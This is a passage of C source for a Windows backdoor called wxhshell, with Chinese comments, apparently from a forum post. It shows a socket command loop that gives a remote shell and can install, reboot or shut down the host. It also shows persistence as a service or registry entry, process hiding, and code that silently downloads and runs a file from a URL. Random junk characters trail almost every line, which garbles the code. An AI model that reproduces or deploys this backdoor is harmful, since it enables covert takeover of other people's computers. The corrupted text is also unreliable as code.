  // 帮助 @RKryY)  
  case '?': { z Rr*7G  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |)v,2  
    break; aX'*pK/-  
  } _Y;W0Z  
  // 安装 S2&4g/  
  case 'i': { + =</&Tm  
    if(Install()) pl?`8@dI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?CPahU  
    else bROLOf4S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9W2Vo [(  
    break; 5U$0F$BBp  
    } ^u ~Q/ 4  
  // 卸载 0aB;p7~&  
  case 'r': { igPX#$0XU  
    if(Uninstall()) W^l-Y %a/o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2E'UZ m  
    else !%c\N8<>GD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )jP1or  
    break; Vt#.eL)Ee  
    } e(t\g^X  
  // 显示 wxhshell 所在路径 E:nF$#<'N  
  case 'p': { NC(~l  
    char svExeFile[MAX_PATH]; zQd 2  
    strcpy(svExeFile,"\n\r"); 64tvP^kp  
      strcat(svExeFile,ExeFile); k5pN  
        send(wsh,svExeFile,strlen(svExeFile),0); %* }(}~  
    break; 2\{zmc}G-0  
    } uK Hxe~  
  // 重启 DB}eA N/  
  case 'b': { 4H&+dR I"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Rima;9.Y0  
    if(Boot(REBOOT)) AoxA+.O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U>N1Od4vTO  
    else { m9rp8r*e  
    closesocket(wsh); T_4/C2  
    ExitThread(0); ,k3FRes3  
    } ISvpQ 3{)s  
    break; 0 kW,I  
    } ]}Yl7/gM1}  
  // 关机 X'iWJ8  
  case 'd': { wFZP,fQ9l  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &tj!*k'  
    if(Boot(SHUTDOWN)) 4.t-i5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^ [@ ,  
    else { /%^#8<=|U  
    closesocket(wsh); 4Fr  
    ExitThread(0); N~'c_l  
    } D*d]aC  
    break; ]t"Ss_,  
    } PEZ!n.'S  
  // 获取shell oOFVb5qoFU  
  case 's': { fz "Y CHe  
    CmdShell(wsh); SvF<p3  
    closesocket(wsh); =dN@Sa/  
    ExitThread(0); N;`n@9BF  
    break; =T7.~W  
  } 0o&5 ]lEe  
  // 退出 Zj'9rXhrM1  
  case 'x': { }O p; g^W  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )9]PMA?u  
    CloseIt(wsh); p4Z(^+Aa  
    break; l.M0`Cn-%  
    } Iu=(qU  
  // 离开 f3y=Wxk[  
  case 'q': { sRb9`u =)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }Zp,+U*"  
    closesocket(wsh); 1?l1:}^L  
    WSACleanup(); U]rRQ d/:;  
    exit(1); do'GlU oMC  
    break; )vlhN2iv  
        } rYk0 ak  
  } wUJcmM;  
  } r5^eNg k  
k+*u/neh  
  // 提示信息 x]j W<A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4CTi]E=H{  
} 1< ?4\?j  
  } x kD6Iw  
I7 ]8Y=xf  
  return; ftSW (og  
} v`T c}c '  
Zv{'MIv&v  
// shell模块句柄 wC'Szni  
int CmdShell(SOCKET sock) -mh3DhJ,  
{ *{5fq_  
STARTUPINFO si; (/$^uWj  
ZeroMemory(&si,sizeof(si)); RxQ*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E"IZ6)Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~"A0Rs=  
PROCESS_INFORMATION ProcessInfo; r9XZ(0/p  
char cmdline[]="cmd"; s5. CFA  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1xvu<|F  
  return 0; BnY&f  
} 2~[juWbz  
BTxrp  
// 自身启动模式 kq-) ^,{y  
int StartFromService(void) o2ECG`^b  
{ B33\?Yj)  
typedef struct 8{ I|$*nB  
{ /$%%s=@IL  
  DWORD ExitStatus; s>c=c-SP.  
  DWORD PebBaseAddress; k}rbim  
  DWORD AffinityMask; }6ldjCT/,  
  DWORD BasePriority; vP,n(reM  
  ULONG UniqueProcessId; N$tGQ@  
  ULONG InheritedFromUniqueProcessId; NxILRKwO  
}   PROCESS_BASIC_INFORMATION; `d(ThP;g  
Iga0 24KR  
PROCNTQSIP NtQueryInformationProcess; \b>] 8Un"  
U $UIN#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?q [T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y1#1Ne_  
 L"aeG  
  HANDLE             hProcess; \{D" !e  
  PROCESS_BASIC_INFORMATION pbi; q.}CU.dp  
),!qTjD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B-mowmJ3dg  
  if(NULL == hInst ) return 0; )U# K  
ugBCBr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); % AgUUn&k  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); HVAYPerH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {4PwLCy  
GA.8@3  
  if (!NtQueryInformationProcess) return 0; z(~_AN M4,  
u1.BN>G  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~>XxGjxe  
  if(!hProcess) return 0; H,NF;QPPC  
&M[?h}B6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R@2X3s:  
qxj(p o  
  CloseHandle(hProcess); jb)ZLA;L_c  
*NQ/UXE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h yIV.W/  
if(hProcess==NULL) return 0; [-x7_=E#  
k;W XB|k  
HMODULE hMod; `H+ lPM66  
char procName[255]; 4&iCht =  
unsigned long cbNeeded; KY^Z  
"wc<B4"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2Z%O7V~u  
IVmo5,&5(  
  CloseHandle(hProcess); E(|>Ddv B&  
}K9H^H@r!  
if(strstr(procName,"services")) return 1; // 以服务启动 yh=N@Z*zP  
8b=_Y;  
  return 0; // 注册表启动 5LMw?P.<  
} K<J9 ~  
LIrb6g&xj_  
// 主模块 T^q 0'#/  
int StartWxhshell(LPSTR lpCmdLine) L: x-%m%w  
{ :E?V.  
  SOCKET wsl; Vw"\{`  
BOOL val=TRUE; tf G@&&%9  
  int port=0; fc@A0Hf  
  struct sockaddr_in door; &m vSiyKX  
WF"k[2  
  if(wscfg.ws_autoins) Install(); DV{=n C  
?X;RLpEc|A  
port=atoi(lpCmdLine); [00m/fT6  
,+ ~W4<f  
if(port<=0) port=wscfg.ws_port; I}Q2Vu<  
J=yTbSN\v  
  WSADATA data; 3uMy]HUQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; DTs;{c  
}~q5w{_n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -{A<.a3P}=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); D`AsRd  
  door.sin_family = AF_INET; .e5Mnd%$M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2"~8Z(0  
  door.sin_port = htons(port); :Q q#Z  
mA}"a<0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -']56o_sQ/  
closesocket(wsl); ^C%<l( b  
return 1; A)~6Im  
} B-ESFATc  
"w _aM7x_  
  if(listen(wsl,2) == INVALID_SOCKET) { mBC+6(5V  
closesocket(wsl); YbLW/E\T  
return 1; v8D C21pb  
} L=h'Qgk%  
  Wxhshell(wsl); ET >](l9  
  WSACleanup(); uIrG*K  
|&jXp%4T  
return 0; },[}$m %  
YoE3<[KD(  
} ]R? 4{t4  
O9p|a%o  
// 以NT服务方式启动 uVU)d1N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &?RQZHtg  
{ P>6{&(  
DWORD   status = 0; aN=B]{!  
  DWORD   specificError = 0xfffffff; Er[A X.3  
J-4:H gx  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'W#D(l9nI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1nOCQ\$l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bN88ua}k{  
  serviceStatus.dwWin32ExitCode     = 0; iR0y"Cii  
  serviceStatus.dwServiceSpecificExitCode = 0; O1kl70,`R  
  serviceStatus.dwCheckPoint       = 0; ]{LjRSV  
  serviceStatus.dwWaitHint       = 0; +^<](z  
cGD(.=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \C1nZk?3  
  if (hServiceStatusHandle==0) return; yppo6HGD  
$7uA%|\  
status = GetLastError(); HorDNRyu  
  if (status!=NO_ERROR) p<;0g9,1  
{ iyog`s c  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 39jG8zr=Z[  
    serviceStatus.dwCheckPoint       = 0; %07SFu#  
    serviceStatus.dwWaitHint       = 0; l@:0e]8|o  
    serviceStatus.dwWin32ExitCode     = status; $mB;K]m  
    serviceStatus.dwServiceSpecificExitCode = specificError; PxE3K-S)G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \|ao`MMaD<  
    return; v.ui!|c  
  } bu"!jHPB  
a'z7(8$$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~v"L!=~G;a  
  serviceStatus.dwCheckPoint       = 0; 1i ] ^{;]  
  serviceStatus.dwWaitHint       = 0; ZAf7Tz\U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fxIf|9Qi`  
} sN wI 0o  
bYPKh  
// 处理NT服务事件,比如:启动、停止 Ic4H#w  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .>nRzgo  
{ 8sCv]|cn  
switch(fdwControl) ],v=]+R  
{ {}Za_(Y,]  
case SERVICE_CONTROL_STOP: y)gKxRaCS  
  serviceStatus.dwWin32ExitCode = 0; [c06 N$:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; xP,hTE  
  serviceStatus.dwCheckPoint   = 0; YgoBHE0#  
  serviceStatus.dwWaitHint     = 0; FsryEHz  
  { n-OL0$Xu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "g#i'"qnW  
  } k;L6R!V  
  return; D#)b+7N-  
case SERVICE_CONTROL_PAUSE: E+JqWR5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :/Qq@]O>  
  break; ]$_NyAoBb  
case SERVICE_CONTROL_CONTINUE: kSh( u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; z$xo$R(  
  break; IaXeRq?<  
case SERVICE_CONTROL_INTERROGATE: fd2T=fz-  
  break; O7IJ%_A&  
}; alvrh'51  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E@3aI Axh  
} #C3.Jef  
l/awS!Q/nF  
// 标准应用程序主函数 O8.5}>gDn.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i7>tU=  
{ r0gJpttDl  
?K\axf>F  
// 获取操作系统版本 ZQ0F$J)2~  
OsIsNt=GetOsVer(); @|%2f@h  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #lW`{i  
I 2|Bg,e  
  // 从命令行安装 &JI8]JmU)  
  if(strpbrk(lpCmdLine,"iI")) Install(); r$~HfskeI  
6i~WcAs  
  // 下载执行文件 [zM-^  
if(wscfg.ws_downexe) { Ez=Olbk  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k)Qtfj}uij  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9*?oYm;dX  
} :Z z '1C  
\K!VNB>h  
if(!OsIsNt) { xK\d4 "  
// 如果时win9x,隐藏进程并且设置为注册表启动 \;"=QmRD%:  
HideProc(); f`=-US  
StartWxhshell(lpCmdLine); \} :PLCKT  
} *=7U4W  
else /~f'}]W  
  if(StartFromService()) NTI+  
  // 以服务方式启动 }~e%J(  
  StartServiceCtrlDispatcher(DispatchTable); H+Sz=tg5  
else 3;s\OW`  
  // 普通方式启动 .h4 \Y A  
  StartWxhshell(lpCmdLine); Np0u,t%vs  
~`:L?Jkb6H  
return 0; 5N&?KA-  
}
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只看该作者 1 发表于: 2006-10-10
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